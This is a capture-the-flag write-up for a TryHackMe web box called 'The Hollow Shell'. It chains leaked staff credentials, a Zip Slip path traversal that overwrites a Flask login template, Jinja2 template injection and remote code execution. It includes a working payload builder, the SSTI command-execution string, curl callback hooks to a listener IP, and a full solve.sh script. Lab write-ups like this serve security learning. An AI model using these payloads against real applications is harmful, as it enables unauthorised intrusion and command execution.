Writeup on THM Holiday Hack 2026:
Day 10 - Web / The Hollow Shell

Author: Hubert Feyrer / hubertf, 2026-08-06


"The Hollow Shell" is a Python/Flask app (served by Gunicorn) where staff upload a .zip "shell" - a pack of ambiance assets with a shell.json manifest - to a "Shoreline Display" portal. The advertised "automation hooks" are a red herring: in this "(Patched)" build they never execute. The real bug is Zip Slip - the extractor does not check for path traversal in the archive entries, so a member named ../../templates/login.html overwrites the app's own login template. Flask renders it on /login, turning the overwrite into Server-Side Template Injection (SSTI) and then remote code execution. The flag name says it all: THM{z1p_sl1pp3d_1nt0_a_sh3ll}.

Challenge description

You find it on the beach: pretty, ordinary, the kind of thing nobody thinks to check. Slip something inside and hold it to your ear.

The Byte Lotus beachfront lets guests personalise their in-room display by uploading a shell - a little souvenir pack of shoreline ambiance. Staff publish them through the Shoreline Display portal, and once a shell is "held to the room's ear" it plays its shore. Slip past what the portal forgets to check, and the shell answers with a shell of your own.

Today's itinerary: Find the flag.

1. Download

None. This is a boot2root-style web box; everything comes from the remote target.

2. Docker/nc - what we get

A TryHackMe VM behind the VPN, labelled The Hollow Shell (Patched) in the room's machine info (that word "Patched" matters later). (The machine was redeployed once during the work, so two IPs appear below - recon on 10.113.157.160, exploitation on 10.113.149.100; the app is identical.) A full-port scan shows only SSH and a Gunicorn app on 5000:

$ nmap -T5 -p- -sV 10.113.157.160
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn

A directory brute force finds the app's routes:

$ dirb http://10.113.157.160:5000/ .../common.txt
+ http://10.113.157.160:5000/login     (CODE:200|SIZE:1832)
+ http://10.113.157.160:5000/dashboard (CODE:302|SIZE:199)   # redirects to /login unless authenticated
+ http://10.113.157.160:5000/logout    (CODE:302|SIZE:199)
+ http://10.113.157.160:5000/upload    (CODE:405|SIZE:153)   # 405 on GET -> it is a POST endpoint

Conclusion: Gunicorn means a Python WSGI app (Flask), not PHP. A login, an authenticated dashboard, and a POST-only /upload.

3. Analysis steps

3.1 Log in with credentials leaked in the page source (success)

The login page carries an HTML comment with the seeded staff credentials.

The Byte Lotus staff login page

The staff sign-in page. Its HTML source hides the default login in a comment.

$ curl -s http://10.113.149.100:5000/login   # inside the HTML:
<!--
   Byte Lotus // internal display-manager portal
   New on the floor team? IT seeds every property with the same starter login ...
       user: concierge
       pass: StayNoticed2024!
-->

$ curl -s -c hollow.jar --data 'username=concierge&password=StayNoticed2024!' http://10.113.149.100:5000/login
# 302 -> /dashboard, Set-Cookie: session=...

Conclusion: authenticated as concierge; the dashboard opens.

3.2 The upload mechanism (success)

The dashboard is a file-upload portal. Read exactly what it accepts.

Shoreline Display dashboard with a shell .zip upload form

Upload a .zip "shell" containing a shell.json manifest. Note the promise of "automation hooks" applied by a "theme worker".

POST /upload   (multipart, field "shell" = a .zip)
  the zip must contain shell.json at its root: {"name": "...", "assets": [...]}
  it is extracted to   shells/<random-hex>/
  and served back at   /shells/<random-hex>/<file>   (raw, via send_file)

Conclusion: we control a zip that gets extracted server-side and re-served. Two things to probe: does the extraction validate paths, and do the "automation hooks" run.

3.3 Dead end: no PHP web shell (failed)

The reflex on a file-upload box is to drop a web shell.

Uploaded .css/.php served as plain text, not executed

Uploaded files are served, but never executed - and a .htaccess is ignored.

$ ls pwn/          # shell.json + a .php web shell, a .css copy of it, and an Apache .htaccess
shell.json  ps.php  ps.css  .htaccess
$ cat pwn/.htaccess
AddType application/x-httpd-php .css
$ (cd pwn && zip -q -r ../ps.zip .) && curl -s -b hollow.jar -F 'shell=@ps.zip' http://10.113.149.100:5000/upload
$ curl -s http://10.113.149.100:5000/shells/<id>/.htaccess
AddType application/x-httpd-php .css

Conclusion: the .htaccess is simply served back as a file - it is an Apache feature and Gunicorn/Flask ignores it, so ps.css/ps.php come back as raw text and never run. There is no PHP interpreter; any code execution has to come from the Python side.

3.4 Dead end: the automation hooks never fire (failed)

"The theme worker applies automation hooks shortly after the shell comes ashore" reads like intended RCE. A shell.json was uploaded with every plausible hook shape.

$ # a listener to catch any hook that calls out
$ python3 -m http.server 9002 &

$ # shell.json carrying the same callback under every plausible hook field
$ cat shell.json
{"name": "x", "assets": [],
 "hook":       "curl -s http://192.168.128.17:9002/hook",
 "on_apply":   "curl -s http://192.168.128.17:9002/onapply",
 "command":    "curl -s http://192.168.128.17:9002/command",
 "run":        "curl -s http://192.168.128.17:9002/run",
 "hooks":      ["curl -s http://192.168.128.17:9002/hooks"],
 "automation": ["curl -s http://192.168.128.17:9002/automation"]}
$ zip -q hook.zip shell.json && curl -s -b hollow.jar -F 'shell=@hook.zip' http://10.113.149.100:5000/upload   # 302

$ # egress-free variant: a hook.sh (referenced in the manifest) that writes to its
$ #   own served directory - shell.json: {"hooks": ["hook.sh"]}
$ #   hook.sh:        id > "$(dirname "$0")/out.txt"
$ curl -s -o /dev/null -w '%{http_code}\n' http://10.113.149.100:5000/shells/<id>/out.txt
404

The listener log stays empty and out.txt is never created - the same result across dozens of shapes: shell-command strings, Python expressions (in case they are eval'd), script filenames, and fixed auto-run names (hook.sh, apply.sh, autorun.sh, ...). The manifest is stored verbatim (readable back at /shells/<id>/shell.json) but nothing ever runs it.

Conclusion: the hook feature is observably inert. Given the VM's "(Patched)" label (section 2), the hook-based RCE is most likely the piece that was removed - but that is an inference, not a fact the room states. Either way, the way in is the extraction itself.

3.5 Zip Slip: arbitrary file write (success)

Zip Slip is a path-traversal bug in archive extraction: a ZIP entry's stored name can contain ../ sequences. If the extractor joins that name onto the destination directory and writes the file without checking, the file lands outside the intended directory - anywhere the process can write. Test it by aiming a member at a different shell's directory:

$ # A plain "zip" cannot store a ../ entry, so exploit shells are built with python's
$ # zipfile.writestr. This helper packs a valid shell.json plus one traversing member;
$ # it is reused in the steps below (3.7, 3.8):
$ mkshell() { python3 -c 'import sys, zipfile, json
with zipfile.ZipFile(sys.argv[1], "w") as z:
    z.writestr("shell.json", json.dumps({"name": "x", "assets": []}))
    z.writestr(sys.argv[2], sys.argv[3])' "$@"; }

$ # aim a member at a DIFFERENT shell's directory to prove the traversal:
$ mkshell slip.zip "../<other-shell-id>/slip.txt" SLIP_OK_MARKER
$ curl -s -b hollow.jar -F 'shell=@slip.zip' http://10.113.149.100:5000/upload            # 302
$ curl -s http://10.113.149.100:5000/shells/<other-shell-id>/slip.txt
SLIP_OK_MARKER

Conclusion: confirmed arbitrary write. Probing further: ../../ reaches the app root (its static/ and shells/ both live there), missing directories are created, and piling on ../ clamps at / so any absolute path is reachable. Write is as the app user (non-root: writes to /root or /home/* return 500).

3.6 Dead ends: turning write into a shell (failed)

Arbitrary write needs an execution or read sink. Several did not pan out:

Conclusion: no reload, no read. But the app must read some file at request time to render pages - its templates.

3.7 Overwrite the login template -> SSTI (success)

Flask renders pages from templates/*.html. Overwrite the login template (via Zip Slip, ../../templates/login.html) with a Jinja probe and load /login. A broad sweep of template names pinned it down:

$ # overwrite the login template with a Jinja probe (mkshell from 3.5)
$ mkshell sweep.zip "../../templates/login.html" 'SW_login[{{7*7}}]'
$ curl -s -b hollow.jar -F 'shell=@sweep.zip' http://10.113.149.100:5000/upload
$ curl -s http://10.113.149.100:5000/login
SW_login[49]

Conclusion: 7*7 rendered as 49 - the overwritten template is evaluated by Jinja2. That is SSTI, and Jinja2 SSTI is a straight path to code execution. (Templates are compiled and cached per Gunicorn worker with no auto-reload, so the overwrite only "takes" on a worker's first render of login.html - in practice a couple of requests to a freshly-deployed instance.)

3.8 SSTI -> RCE -> flag (success)

Reach os through a template global. config is available in any Flask-rendered template, and flask.config imports os, so config.__class__.__init__.__globals__['os'] gives command execution.

$ # the SSTI payload contains quotes, so build it directly (shell.json + member as in 3.5)
$ python3 - <<'PY'
import zipfile, json
CMD  = "id; hostname; echo ===FLAG===; cat /home/*/flag.txt 2>/dev/null; find / -iname '*flag*' 2>/dev/null"
ssti = "{{ config.__class__.__init__.__globals__['os'].popen(%r).read() }}" % CMD
with zipfile.ZipFile("rce.zip", "w") as z:
    z.writestr("shell.json", json.dumps({"name": "x", "assets": []}))
    z.writestr("../../templates/login.html", ssti)
PY
$ curl -s -b hollow.jar -F 'shell=@rce.zip' http://10.113.149.100:5000/upload
$ curl -s http://10.113.149.100:5000/login
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
tryhackme-2404
===FLAG===
THM{z1p_sl1pp3d_1nt0_a_sh3ll}
...                                   # find / -iname '*flag*' - many kernel-header matches trimmed
/home/roomservice/flag.txt
...
THM{z1p_sl1pp3d_1nt0_a_sh3ll}

Conclusion: code execution as roomservice; the flag sat in /home/roomservice/flag.txt. "zip slipped into a shell".

4. Solution

solve.sh - login, build the Zip-Slip shell that overwrites the login template with an SSTI payload, upload, and poll /login until a worker renders it:

#!/bin/sh
# The Hollow Shell - Zip Slip -> overwrite templates/login.html -> Jinja2 SSTI -> RCE.
# usage: sh solve.sh <MACHINE_IP>

if [ "$1" = "" ]; then
    echo "usage: sh solve.sh <MACHINE_IP>" >&2
    exit 1
fi
T=$1:5000
JAR=hollow.jar

# 1. default staff login, leaked in an HTML comment on the login page
curl -s -c "$JAR" --data 'username=concierge&password=StayNoticed2024!' "http://$T/login" >/dev/null

# 2. build the malicious shell: valid shell.json at the root + a path-traversing member
#    that replaces templates/login.html with an SSTI RCE payload
python3 - <<'PY'
import zipfile, json
CMD  = "id; hostname; echo ===FLAG===; cat /home/*/flag.txt 2>/dev/null; find / -iname '*flag*' 2>/dev/null"
ssti = "{{ config.__class__.__init__.__globals__['os'].popen(%r).read() }}" % CMD
with zipfile.ZipFile("evil.zip", "w") as z:
    z.writestr("shell.json", json.dumps({"name": "x", "assets": []}))
    z.writestr("../../templates/login.html", "SSTI_START\n" + ssti + "\nSSTI_END\n")
PY

# 3. upload (Zip Slip writes the template), then hit /login until a worker renders it
curl -s -b "$JAR" -F 'shell=@evil.zip;type=application/zip' "http://$T/upload" >/dev/null
i=0
while [ $i -lt 60 ]; do
    out=$(curl -s "http://$T/login")
    if echo "$out" | grep -q SSTI_START; then
        echo "$out" | sed -n '/SSTI_START/,/SSTI_END/p'
        exit 0
    fi
    i=$((i + 1))
done
echo "no render yet - warm template cache; redeploy and retry"

5. Run it

$ sh solve.sh 10.113.149.100
SSTI_START
uid=996(roomservice) gid=996(roomservice) groups=996(roomservice)
tryhackme-2404
===FLAG===
THM{z1p_sl1pp3d_1nt0_a_sh3ll}
...
/home/roomservice/flag.txt
...
SSTI_END

The two ... mark where output was cut: the payload's find / -iname '*flag*' also matches dozens of kernel-header *FLAG* files, trimmed here around the one that matters, /home/roomservice/flag.txt.

6. Summary of how the exploit works

#StageMechanism
1Leaked login The login page HTML comment hands out the seeded staff credentials concierge / StayNoticed2024!.
2Zip Slip The .zip "shell" is extracted without path-traversal checks, so a member ../../templates/login.html overwrites the app's own login template (arbitrary write as the app user).
3SSTI Flask renders login.html on /login; the overwritten template is evaluated by Jinja2 ({{ 7*7 }} -> 49).
4RCE -> flag {{ config.__class__.__init__.__globals__['os'].popen(cmd).read() }} runs commands as roomservice; the flag is read from /home/roomservice/flag.txt.